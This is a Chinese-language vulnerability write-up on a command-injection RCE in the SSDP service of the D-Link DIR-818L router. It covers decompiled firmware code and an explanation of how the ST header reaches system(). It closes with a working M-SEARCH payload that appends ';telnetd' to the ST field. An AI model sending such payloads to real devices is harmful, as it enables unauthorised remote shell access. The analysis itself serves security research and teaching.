当前位置: 首页 > news >正文

某IOT设备漏洞分析

申明:本文章所分享内容仅用于网络安全技术讨论,切勿用于违法途径,所有渗透都需获取授权,违者后果自行承担,与本文及作者无关,请谨记守法.

设备名称: DLINK DIR-818l

固件包: d-link DIR818L_FW105b01 A1

环境搭建: 使用firmAE

./run.sh -r mk818l ./firematr/ DIR818L_FW105b01

目录

RCE漏洞

一、前置知识

二、漏洞分析

三、需要了解的几个重要函数

四、代码审计


RCE漏洞

一、前置知识

SSDP协议(Simple Service Discovery Protocol)

SSDP就是简单服务发现协议(SimpleServiceDiscoveryProtocol)是一种应用层协议,它是构成通用即插即用(也就是UPnP,UPnP是各种各样的智能设备、无线设备和个人电脑等实现遍布全球的对等网络连接的结构)技术的核心协议之一。用于发现局域网里面的设备和服务,SSDP消息分为设备查询消息、设备通知消息两种,通常情况下,使用更多地是设备查询消息。一般在嵌入式设备中如路由器,摄像头中较为常见。   简单服务发现协议提供了在局部网络里面发现设备的机制。控制点(也就是接受服务的客户端)能够直接通过使用简单服务发现协议,根据自己的需要查询在自己所在的局部网络里面提供特定服务的设备。设备(也就是提供服务的服务器端)也能够直接通过使用简单服务发现协议,向自己所在的局部网络里面的控制点宣告它的存在。

请求头消息格式

M-SEARCH * HTTP/1.1
HOST: 239.255.255.250:1900
MAN: "ssdp:discover"
MX: 5
ST: ssdp:all

1 消息头为固定格式

2 HOST地址 ip:port

3 MAN后面的ssdp:discover为固定格式

4 MX为最长等待时间

5 ST 查询目标,它的值可以是: upnp:rootdevice 仅搜索网络中的根设备 uuid:device-UUID 查询UUID标识的设备 urn:schemas-upnp-org:device:device-Type:version 查询device-Type字段指定的设备类型,设备类型和版本由UPNP组织定义,其中,第三种一般可以用来自定义设备,如:ST: urn:schemas-upnp-org:device:Server:1

响应包

HTTP/1.1 200 OK
CACHE-CONTROL: max-age = seconds until advertisement expires
DATE: when reponse was generated
EXT:
LOCATION: URL for UPnP description for root device
SERVER: OS/Version UPNP/1.0 product/version
ST: search target
USN: advertisement UUID

和HTTP协议极为相似,为后续的知识做基础

二、漏洞分析

此次触发RCE的漏洞函数为 ssdpcgi_main()

提权固件后进行逆向分析,其反汇编代码如下:

ssdpcgi_main()

int __fastcall ssdpcgi_main(int a1)
{
  int result; // $v0
  char *v2; // $s0
  char *v3; // $s3
  char *v4; // $v0
  char *v5; // $s2
  const char *v6; // $s1
  bool v7; // dc
  char *v8; // $a2
  const char *v9; // $a0

  result = -1;
  if ( a1 == 2 )
  {
    v2 = getenv("HTTP_ST");
    v3 = getenv("REMOTE_ADDR");
    v5 = getenv("REMOTE_PORT");
    v4 = getenv("SERVER_ID");
    v6 = v4;
    if ( v2 && v3 && v5 )
    {
      v7 = v4 == 0;
      result = -1;
      if ( !v7 )
      {
        v7 = strchr(v2, '`') != 0;
        result = -1;
        if ( !v7 )
        {
          v7 = strchr(v3, '`') != 0;
          result = -1;
          if ( !v7 )
          {
            v7 = strchr(v5, '`') != 0;
            result = -1;
            if ( !v7 )
            {
              v7 = strchr(v6, '`') != 0;
              result = -1;
              if ( !v7 )
              {
                if ( !strncmp(v2, "ssdp:all", 8u) )
                {

                  v8 = v3;
                  v9 = "%s ssdpall %s:%s %s &";
LABEL_14:
                  lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUN
                  return 0;
                }
                if ( !strncmp(v2, "upnp:rootdevice", 15u) )
                {
                  v8 = v3;
                  v9 = "%s rootdevice %s:%s %s &";
                  goto LABEL_14;
                }
                if ( !strncmp(v2, "uuid:", 5u) )
                {
                  lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
                  return 0;
                }
                v7 = strncmp(v2, "urn:", 4u) != 0;
                result = 0;
                if ( v7 )
                  return result;
                if ( strstr(v2, ":device:") )   // 漏洞利用点
                {

                  lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
                  return 0;
                }
                if ( strstr(v2, ":service:") )
                {
                  lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
                  return 0;
                }
                result = 0;
              }
            }
          }
        }
      }
    }
    else
    {
      result = -1;
    }
  }
  return result;
}

lxmldbc_system()

int lxmldbc_system(const char *a1, ...)
{
  char v2[1028]; // [sp+1Ch] [-404h] BYREF
  va_list va; // [sp+42Ch] [+Ch] BYREF

  va_start(va, a1);
  vsnprintf(v2, 1024u, a1, va);
  return system(v2);
}

先分析lxmldbc_system()这个函数,因为这个函数才是触发代码执行的函数

这个函数中有俩个比较重要的函数一个是vsnprintf(),system()

system执行命令的函数 传入的参数为 v2回溯到最前面是发现HTTP_ST中的内容也就是SSDP协议中ST字段中的内容,那么是不是可以将ST:字段中的内容插入一些特殊命令,传递进这个函数中就可以达到执行命令的作用,先不考虑有什么过滤,用什么办法才能将参数完整传进来,以及怎么写payload

三、需要了解的几个重要函数

vsnprintf()

int vsnprintf (char * sbuf, size_t n, const char * format, va_list arg );

参数sbuf:用于缓存格式化字符串结果的字符数组

参数n:限定最多打印到缓冲区sbuf的字符的个数为n-1个,因为vsnprintf还要在结果的末尾追加\0。如果格式化字符串长度大于n-1,则多出的部分被丢弃。如果格式化字符串长度小于等于n-1,则可以格式化的字符串完整打印到缓冲区sbuf。一般这里传递的值就是sbuf缓冲区的长度。

参数format:格式化限定字符串

参数arg:可变长度参数列表

作用:使用vsnprintf()用于向一个字符串缓冲区打印格式化字符串,且可以限定打印的格式化字符串的最大长度。

说白了就是将sbuf数组中的字符串打印出来,那么如果这个sbuf数组中是一些危险的命令,是不是就可以将命令传入system函数中执行从而执行命令。

#include <stdio.h>
#include <string.h>
#include <stdarg.h>
 
#define SBUF_SIZE 128
char sbuf[SBUF_SIZE];
 
void MyPrintF( const char * format, ... )
{
	va_list args;
	va_start (args, format);
	vsnprintf (sbuf,SBUF_SIZE,format, args);
	va_end (args);
  
	printf("%s",sbuf);		
}
 
int main()
{	
	MyPrintF("my name is %s,my age is %d\n","bob",18);
    return 0;
}

system()函数

这个函数很简单执行命令,但是传统使用这个函数的时候通常一般会这么用
system("id")
这样会返回一个id值 是执行命令以后的id值
但是system()还有一种执行命令的方法就是在函数中可以加;号,如:system("id;id;id;id;id")
这样是可以直接执行5个id命令,也就是返回5个id值

也就是后面ST:为什么要这样构造payload

strchr()

在字符串中寻找字符C第一次出现的位置,并返回其位置(地址指针),若失败则返回NULL;

#include<string.h>
#include<stdio.h>
int main()
{
    char *str="Hello,I am sky2098,I liking programing!";
    char character='k' ;  //指定一个字符
    char *strtemp;

    strtemp=strchr(str,character);
    if(strtemp!=NULL)
    {
        printf("%s ",strtemp);
    }
    else
    {
        printf("can not find %c !",strtemp);
    }
    return 0;
}

strncmp(s1,s2,n)

用来比较s1和s2字符串的前n个字符。如果两个字符串相等的话,strncmp将返回0。如果s1是s2的一个子串的话,s1小于s2。

strstr(haystack,needle)

该函数返回在 haystack 中第一次出现 needle 字符串的位置,如果未找到则返回 null

#include <stdio.h>
#include <string.h>
 
 
int main()
{
   const char haystack[20] = "RUNOOB";
   const char needle[10] = "NOOB";
   char *ret;
 
   ret = strstr(haystack, needle);
 
   printf("子字符串是: %s\n", ret);
   
   return(0);
}

四、代码审计

然后开始分析 ssdpcgi_main()这个函数,原始if中的代码用xxxx()函数表示,比较好看一些,lxmldbc_system()也在xxxx()函数中。首先得让a1=2才可以执行if中的内容,具体a1是什么内容后面再继续分析。

第一个IF语句

if ( a1 == 2 )
  {
    xxxx()
  }
  return result;

第二个IF语句 判断v2,v3,v5 参数完不完整,不完整直接退出

if ( v2 && v3 && v5 ) {
    v7 = v4 == 0;
    result = -1;
    xxxx1()
}
else{
   result = -1;
}

第三个IF语句

判断v7是不是为空值 也就是之前v4的服务号,判断有没有服务开启

if ( !v7 )
      {
        v7 = strchr(v2, '`') != 0;
        result = -1;
        if ( !v7 )
        {
          v7 = strchr(v3, '`') != 0;
          result = -1;
          if ( !v7 )
          {
            v7 = strchr(v5, '`') != 0;
            result = -1;
            if ( !v7 )
            {
              v7 = strchr(v6, '`') != 0;
              result = -1;
              if ( !v7 )
              {
                if ( !strncmp(v2, "ssdp:all", 8u) )
                {

                  v8 = v3;
                  v9 = "%s ssdpall %s:%s %s &";
LABEL_14:
                  lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUN
                  return 0;
                }
                if ( !strncmp(v2, "upnp:rootdevice", 15u) )
                {
                  v8 = v3;
                  v9 = "%s rootdevice %s:%s %s &";
                  goto LABEL_14;
                }
                if ( !strncmp(v2, "uuid:", 5u) )
                {
                  lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
                  return 0;
                }
                v7 = strncmp(v2, "urn:", 4u) != 0;
                result = 0;
                if ( v7 )
                  return result;
                if ( strstr(v2, ":device:") )   // 漏洞利用点
                {

                  lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
                  return 0;
                }
                if ( strstr(v2, ":service:") )
                {
                  lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
                  return 0;
                }
                result = 0;
              }
            }
          }
        }
      }

第 四 五 六个IF语句

主要是针对v2, v3,v5,v6 进行判断看传入的参数中有无 ` 号 防止一些命令进行执行。

 if ( !v7 )
        {
          v7 = strchr(v3, '`') != 0;
          result = -1;
          if ( !v7 )
          {
            v7 = strchr(v5, '`') != 0;
            result = -1;
            if ( !v7 )
            {
              v7 = strchr(v6, '`') != 0;
              result = -1;

继续更进

通过继续分析得知如果需要执行命令得保证lxmldbc_system()函数中有V2变量

if ( !strncmp(v2, "ssdp:all", 8u) )
 {
  v8 = v3;
  v9 = "%s ssdpall %s:%s %s &";
LABEL_14:
   lxmldbc_system(v9, "/etc/scripts/upnp/M-SEARCH.sh", v8, v5, v6);// // ERROR_FUN
   return 0;
}

if ( !strncmp(v2, "upnp:rootdevice", 15u) ){
    v8 = v3;
    v9 = "%s rootdevice %s:%s %s &";
goto LABEL_14;
                }

if ( !strncmp(v2, "uuid:", 5u) ) {
 lxmldbc_system("%s uuid %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;
 }

v7 = strncmp(v2, "urn:", 4u) != 0;
result = 0;

if ( v7 )
return result;

if ( strstr(v2, ":device:") )   // 漏洞利用点 {
 lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;
}

if ( strstr(v2, ":service:") ){
   lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;
         }

通过以上筛选得出最可能存在利用点的地方

if ( strstr(v2, ":device:") ){   // 漏洞利用点
  lxmldbc_system("%s devices %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
 return 0;
   }

if ( strstr(v2, ":service:") ) {
 lxmldbc_system("%s services %s:%s %s %s &", "/etc/scripts/upnp/M-SEARCH.sh", v3, v5, v6, v2);
return 0;
 }

总结以上内容构造payload为

M-SEARCH * HTTP/1.1
HOST:ip:prot
ST:urn:device:1;telnetd  // telnetd 为执行的命令 可以换其他的比如touch 1.txt 生成1.txt文本
MX:2
MAN:"ssdp:discover"

通过测试发现一开始的a1的值及MX:字段的内容为2

参考文章链接:

IOTsec-Zone物联网安全社区

SSDP协议_慕容野野的博客-CSDN博客_ssdp协议

相关文章:

  • 毕设必备!Python智慧教室:考试作弊系统、动态点名等功能
  • 【Go】【反射】反射基本介绍和使用
  • 二叉树的基本算法(c++)
  • 1的取反为什么是-2
  • 基于springboot的疫情社区生活服务系统
  • 计算机专业哀鸿遍野:低代码平台和程序员水火不容,马上被取代
  • 【无人机】基于Matlab模拟无人机群跟踪固定目标
  • html5 标签
  • Linux安全基线-audit审计规则配置7小项(CentOS8)
  • ES6知识点(1)
  • 基于 HTML5/CSS3 制作漂亮的登录页面
  • 【HBASE】Hbase的Shell操作
  • Visual Studio Code下C/C++开发环境的配置及使用
  • 昨天
  • 【Redis】Redis最佳实践:键值设计
  • HTTP中的ETag在移动客户端的应用
  • Java 9 被无情抛弃,Java 8 直接升级到 Java 10!!
  • JS专题之继承
  • Just for fun——迅速写完快速排序
  • leetcode98. Validate Binary Search Tree
  • overflow: hidden IE7无效
  • Python打包系统简单入门
  • Selenium实战教程系列(二)---元素定位
  • UMLCHINA 首席专家潘加宇鼎力推荐
  • 阿里中间件开源组件:Sentinel 0.2.0正式发布
  • 得到一个数组中任意X个元素的所有组合 即C(n,m)
  • 给新手的新浪微博 SDK 集成教程【一】
  • 判断客户端类型,Android,iOS,PC
  • 手机app有了短信验证码还有没必要有图片验证码?
  • 通过git安装npm私有模块
  • 项目实战-Api的解决方案
  • 原生JS动态加载JS、CSS文件及代码脚本
  • ​ 轻量应用服务器:亚马逊云科技打造全球领先的云计算解决方案
  • ​html.parser --- 简单的 HTML 和 XHTML 解析器​
  • ### Error querying database. Cause: com.mysql.jdbc.exceptions.jdbc4.CommunicationsException
  • (1)Android开发优化---------UI优化
  • (LNMP) How To Install Linux, nginx, MySQL, PHP
  • (第9篇)大数据的的超级应用——数据挖掘-推荐系统
  • (动手学习深度学习)第13章 计算机视觉---微调
  • (十六)串口UART
  • (转)GCC在C语言中内嵌汇编 asm __volatile__
  • (转)Google的Objective-C编码规范
  • .NET 常见的偏门问题
  • .NET 使用 XPath 来读写 XML 文件
  • .NET/C# 使用 SpanT 为字符串处理提升性能
  • .NETCORE 开发登录接口MFA谷歌多因子身份验证
  • /dev/VolGroup00/LogVol00:unexpected inconsistency;run fsck manually
  • /使用匿名内部类来复写Handler当中的handlerMessage()方法
  • @基于大模型的旅游路线推荐方案
  • [Docker]四.Docker部署nodejs项目,部署Mysql,部署Redis,部署Mongodb
  • [EFI]ASUS EX-B365M-V5 Gold G5400 CPU电脑 Hackintosh 黑苹果引导文件
  • [FUNC]判断窗口在哪一个屏幕上
  • [INSTALL_FAILED_TEST_ONLY],Android开发出现应用未安装
  • [Jenkins] Docker 安装Jenkins及迁移流程
  • [LeetCode]—Anagrams 回文构词法